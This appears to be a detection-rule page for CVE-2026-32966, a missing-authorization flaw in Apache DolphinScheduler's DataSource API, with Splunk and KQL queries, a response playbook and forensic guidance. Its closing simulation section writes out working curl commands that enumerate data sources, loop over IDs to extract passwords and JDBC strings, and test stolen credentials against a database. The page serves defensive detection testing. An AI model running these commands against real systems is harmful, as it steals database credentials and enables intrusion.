Detect Apache DolphinScheduler DataSource API Missing Authorization - Arbitrary Metadata Disclosure (CVE-2026-32966) in Splunk
Apache DolphinScheduler versions before 3.4.2 contain a missing authorization check in the DataSource API endpoint. An unauthenticated or low-privileged attacker can query data source metadata including connection strings, credentials, hostnames, and database names without appropriate access controls. CVSS 9.8 critical. Public PoC available.
MITRE ATT&CK
- Tactic
- Credential Access Discovery Collection
SPL Detection Query
index=web OR index=proxy OR index=apache sourcetype IN ("access_combined", "access_combined_wcookie", "iis", "apache:access", "pan:traffic", "squid")
(uri_path="*/dolphinscheduler/datasources*" OR cs_uri_stem="*/dolphinscheduler/datasources*" OR url="*/dolphinscheduler/datasources*")
(status=200 OR status=201 OR sc_status=200 OR sc_status=201)
| eval endpoint=coalesce(uri_path, cs_uri_stem, url),
src_ip=coalesce(src_ip, c_ip, clientip, src),
useragent=coalesce(useragent, cs_useragent, http_user_agent),
method=coalesce(method, cs_method, http_method)
| stats count AS request_count,
dc(endpoint) AS distinct_endpoints,
values(endpoint) AS endpoints_accessed,
values(method) AS methods_used,
min(_time) AS first_seen,
max(_time) AS last_seen
BY src_ip, useragent
| where request_count >= 3 OR distinct_endpoints >= 2
| eval risk_score=case(
request_count >= 20, "critical",
request_count >= 10, "high",
distinct_endpoints >= 3, "high",
true(), "medium"
)
| eval duration_seconds=last_seen - first_seen
| sort -request_count
| table src_ip, request_count, distinct_endpoints, endpoints_accessed, methods_used, risk_score, duration_seconds, first_seen, last_seen, useragentDetects enumeration or exploitation attempts against Apache DolphinScheduler DataSource API endpoints indicative of CVE-2026-32966 missing authorization abuse. Correlates source IP access patterns across web/proxy log sourcetypes.
Data Sources
Required Sourcetypes
False Positives & Tuning
- Legitimate bulk administrative queries from DolphinScheduler management tooling
- Automated monitoring or synthetic transaction testing tools
- Internal service mesh health checks hitting DataSource endpoints
- Security scanners running authorized vulnerability assessments
Other platforms for CVE-2026-32966
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Unauthenticated DolphinScheduler DataSource List Enumeration
Expected signal: HTTP GET request to /dolphinscheduler/datasources/list with no Authorization header; HTTP 200 response containing JSON array of data source objects with connection metadata
- Test 2DolphinScheduler DataSource Credential Extraction via getById
Expected signal: Sequential HTTP GET requests to /dolphinscheduler/datasources/[1-20] from same source IP within 10 seconds; multiple HTTP 200 responses; high distinct_endpoints count
- Test 3DolphinScheduler DataSource Verify Endpoint Credential Probe
Expected signal: HTTP POST to /dolphinscheduler/datasources/verify with JSON body containing credential parameters; outbound TCP connection from DolphinScheduler host to TARGET_DB_HOST:3306
Response Playbook
Triage
- Identify the source IP(s) generating requests to /dolphinscheduler/datasources endpoints and determine if they correspond to known internal services, administrative users, or external/unexpected clients.
- Confirm the DolphinScheduler version deployed by checking the application's manifest, Maven artifact metadata, or running `find / -name 'dolphinscheduler-api-*.jar' 2>/dev/null` on the host to extract the version string.
- Review the HTTP response bodies or application logs to determine if any sensitive data source metadata (connection strings, credentials, hostnames) was successfully returned to the requesting IP.
- Check whether the requesting IP performed authentication prior to hitting the DataSource API — absent or anomalous auth tokens indicate unauthenticated exploitation.
Containment
- If exploitation is confirmed, immediately block the offending source IP(s) at the network perimeter or WAF, and apply a temporary ACL restricting access to DolphinScheduler API endpoints to known-good internal IP ranges.
- Rotate all credentials for data sources whose metadata was potentially exposed — including database passwords, JDBC connection string secrets, and any API keys stored within DolphinScheduler data source configurations.
Evidence Collection
- Export DolphinScheduler application logs covering the suspected exploitation window, preserving raw HTTP request/response pairs including headers, body payloads, and timestamps for forensic review.
- Capture a list of all data sources configured in DolphinScheduler at time of incident (via authenticated admin API or direct database query to t_ds_datasource table) to enumerate the blast radius of credential exposure.
Escalation Criteria
- !Escalate to CISO and data protection officer immediately if any data source credentials were confirmed exfiltrated, particularly if those credentials grant access to production databases containing PII, PCI, or regulated data.
- !Escalate to incident response team if the attacking IP is attributed to a known threat actor, is geolocated to a high-risk jurisdiction, or if lateral movement indicators are observed following the initial DataSource API enumeration.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
DolphinScheduler application log files (dolphinscheduler-api.log) containing HTTP access records with request paths and response codes - >
Database table t_ds_datasource in DolphinScheduler's backend MySQL/PostgreSQL — contains stored connection strings, usernames, and encrypted passwords that were exposed - >
JVM heap dump or thread dump if the application was under active exploitation — may contain plaintext credentials in memory - >
Network capture (pcap) from the DolphinScheduler host showing raw HTTP request/response payloads to /datasources endpoints during the exploitation window
Tuning Guidance
Adjust the minimum request_count threshold (default: 3) based on your environment's baseline DolphinScheduler API call volume. In environments with high-frequency internal service polling, increase to 10-20 to reduce false positives. Consider adding a whitelist of known DolphinScheduler worker node IPs and monitoring service IPs to suppress legitimate traffic. If DolphinScheduler is fronted by a load balancer, correlate on session IDs or X-Forwarded-For headers rather than the load balancer's IP. For the Elastic EQL sequence rule, extend maxspan from 5m to 15m if your monitoring stack has high-latency log ingestion.
Hunting Queries
Retroactive 7-day hunt for historical access patterns to DolphinScheduler DataSource API endpoints that may indicate prior undetected exploitation of CVE-2026-32966, identifying hours with anomalous request volumes or endpoint diversity.
CommonSecurityLog
| where TimeGenerated >= ago(7d)
| where RequestURL matches regex @"/dolphinscheduler/datasources"
| where EventOutcome in ("200", "201")
| summarize total_requests=count(), unique_endpoints=dcount(RequestURL), ips=make_set(SourceIP) by bin(TimeGenerated, 1h)
| where total_requests > 5 or unique_endpoints > 3
| order by total_requests descindex=web earliest=-7d
(uri_path="*/dolphinscheduler/datasources*" OR url="*/dolphinscheduler/datasources*")
(status=200 OR status=201)
| timechart span=1h count AS requests dc(src_ip) AS unique_sources dc(uri_path) AS unique_endpoints
| where requests > 5 OR unique_endpoints > 3Atomic Red Team Tests
Simulate CVE-2026-32966 exploitation by sending an unauthenticated GET request to the DataSource list endpoint, verifying that data source metadata is returned without valid session credentials.
Command
curl -s -o /tmp/ds_response.json -w '%{http_code}' http://TARGET_HOST:12345/dolphinscheduler/datasources/list?pageNo=1&pageSize=100 && cat /tmp/ds_response.json | python3 -m json.tool | grep -E '(name|type|host|port|database|user)'Cleanup
rm -f /tmp/ds_response.jsonExpected Telemetry
HTTP GET request to /dolphinscheduler/datasources/list with no Authorization header; HTTP 200 response containing JSON array of data source objects with connection metadata
Expected Detection
Alert triggered on unauthenticated successful request to DolphinScheduler DataSource API; source IP flagged with request_count >= 1 and risk_level medium or higher
Iterate through numeric data source IDs using the getById endpoint without authentication to extract individual data source connection details including database credentials.
Command
for id in $(seq 1 20); do echo "=== DataSource ID $id ==="; curl -s -H 'Content-Type: application/json' http://TARGET_HOST:12345/dolphinscheduler/datasources/$id | python3 -m json.tool 2>/dev/null; sleep 0.5; done > /tmp/ds_extracted.txt && grep -E '(password|connectionParams|jdbcUrl)' /tmp/ds_extracted.txtCleanup
rm -f /tmp/ds_extracted.txtExpected Telemetry
Sequential HTTP GET requests to /dolphinscheduler/datasources/[1-20] from same source IP within 10 seconds; multiple HTTP 200 responses; high distinct_endpoints count
Expected Detection
Alert triggered with request_count >= 10 and distinct_endpoints >= 5; risk_level escalated to high or critical
Abuse the DataSource verify/connect endpoint without authorization to test discovered credentials against downstream database targets, confirming credential validity.
Command
curl -s -X POST http://TARGET_HOST:12345/dolphinscheduler/datasources/verify -H 'Content-Type: application/json' -d '{"type":"MYSQL","name":"test","host":"TARGET_DB_HOST","port":3306,"database":"testdb","userName":"root","password":"extracted_password","other":""}' | python3 -m json.toolCleanup
No persistent changes; verify endpoint is read-onlyExpected Telemetry
HTTP POST to /dolphinscheduler/datasources/verify with JSON body containing credential parameters; outbound TCP connection from DolphinScheduler host to TARGET_DB_HOST:3306
Expected Detection
Alert on POST method to /dolphinscheduler/datasources/verify without valid auth token; secondary alert on unexpected outbound database connection from DolphinScheduler application host